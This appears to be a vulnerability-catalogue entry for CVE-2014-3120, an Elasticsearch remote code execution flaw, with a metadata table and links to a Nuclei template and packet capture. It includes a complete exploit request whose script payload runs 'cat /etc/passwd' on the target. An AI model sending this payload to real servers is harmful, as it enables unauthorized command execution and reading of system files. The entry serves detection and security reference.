| Title | ElasticSearch v1.1.1/1.2 RCE |
|---|---|
| Author | pikpikcu |
| Severity | Medium |
| Impact | Allows remote attackers to execute arbitrary code on the affected system |
| Remediation | Upgrade to a patched version of ElasticSearch |
| CVSS Score | 6.8 |
| EPSS Score | 0.85557 |
| CVE ID | CVE-2014-3120 |
| CWE ID | CWE-284 |
| Fofa Query | index_not_found_exception |
| Tags | cve2014 cve rce elasticsearch kev vulhub elastic vkev vuln |
The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. Be aware this only violates the vendor’s intended security policy if the user does not run Elasticsearch in its own independent virtual machine.
POST /_search?pretty HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36
Connection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
{
"size": 1,
"query": {
"filtered": {
"query": {
"match_all": {
}
}
}
},
"script_fields": {
"command": {
"script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
}
}
}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2014/CVE-2014-3120.yaml
🦈 Packet Capture: ⬇️ Download cve-2014-3120.pcap
N/AN/A